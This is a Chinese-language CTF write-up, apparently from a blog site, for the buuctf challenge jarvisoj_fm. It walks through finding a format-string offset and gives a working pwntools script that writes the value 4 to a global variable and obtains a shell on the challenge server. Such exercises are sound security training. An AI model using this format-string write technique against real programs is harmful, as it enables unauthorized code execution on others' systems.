news 2026/7/1 6:49:21

buuctf中的jarvisoj_fm

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
buuctf中的jarvisoj_fm

首先checksec检查保护机制:

-32位程序

-开启了栈溢出保护和栈不可执行保护

接下来使用反汇编工具IDA进行分析:

发现没有后门函数,不过有printf函数,可触发格式化字符串漏洞,再看下面,只要让x的值等于4,即可拿到shell,那么方向就很明显了,使用格式化字符串漏洞实现任意地址写,将x的值改写为4

接下来先找到第一个参数的偏移,方便利用格式化字符串漏洞,在pwndbg中动态调试,先对程序输入一下代码:

AAAA %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p

得到:

发现0x41414141这个参数在第11位,0x41414141以ASCII码转化为字符即为AAAA,也就是我们输入的AAAA在第11位处,即偏移为11

再在IDA中拿到x的地址:0x0804A02C

然后就是脚本的编写了:

from pwn import * context(arch='i386', os='linux', log_level='debug') #io = process('./pwn') # 在本地运行程序。 # gdb.attach(io) # 启动 GDB io = connect('node5.buuoj.cn',25207) # 与在线环境交互。 offset = 11 aim_addr = 0x0804A02C payload = p32(aim_addr) + b'%11$ln' io.sendline(payload) io.interactive()

这是运行结果:

拿到shell后输入cat flag即可拿到flag

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/7/1 19:17:50

告别命令行:Applite如何让Mac软件管理变得如此简单

告别命令行:Applite如何让Mac软件管理变得如此简单 【免费下载链接】Applite User-friendly GUI macOS application for Homebrew Casks 项目地址: https://gitcode.com/gh_mirrors/ap/Applite 你是否曾经为安装一个Mac应用而不得不打开终端,输入…

作者头像 李华
网站建设 2026/7/1 20:11:47

PHP开发指南 P8:模块化、会话管理、密码安全与OOP入门

PHP开发指南 P8:模块化、会话管理、密码安全与OOP入门 作为PHP开发者,从基础语法过渡到工程化、安全化的编码思维,是进阶的关键一步。本文将围绕「代码复用」「用户状态保持」「密码安全」「面向对象编程」四个核心知识点展开,结…

作者头像 李华
网站建设 2026/6/30 5:18:53

告别网盘限速困扰,这款工具让你下载飞起来

告别网盘限速困扰,这款工具让你下载飞起来 【免费下载链接】Online-disk-direct-link-download-assistant 可以获取网盘文件真实下载地址。基于【网盘直链下载助手】修改(改自6.1.4版本) ,自用,去推广,无需…

作者头像 李华
网站建设 2026/6/30 22:35:26

如何快速使用京东自动评价工具:新手用户的完整指南

京东自动评价工具是一款专为简化购物评价流程而设计的智能助手。这个基于Python开发的开源项目能够帮助用户自动生成贴合商品特点的个性化评价内容,让评价工作变得轻松高效。无论您是想要节省时间的普通消费者,还是需要管理多个账号的用户,这…

作者头像 李华
网站建设 2026/7/1 7:39:23

Revelation光影包深度解析:5大核心机制重塑Minecraft视觉体验

Revelation光影包深度解析:5大核心机制重塑Minecraft视觉体验 【免费下载链接】Revelation A realistic shaderpack for Minecraft: Java Edition 项目地址: https://gitcode.com/gh_mirrors/re/Revelation 当像素方块遇上真实光影,Minecraft的世…

作者头像 李华
网站建设 2026/7/1 2:11:16

React中setState后获取更新后值的完整解决方案

在React开发中,很多新手都会遇到一个常见“坑”:调用setState更新状态后,立即读取状态却拿到旧值。这并非React的bug,而是setState的异步特性导致的。本文将从问题本质出发,分类详解类组件和函数组件中获取setState更新…

作者头像 李华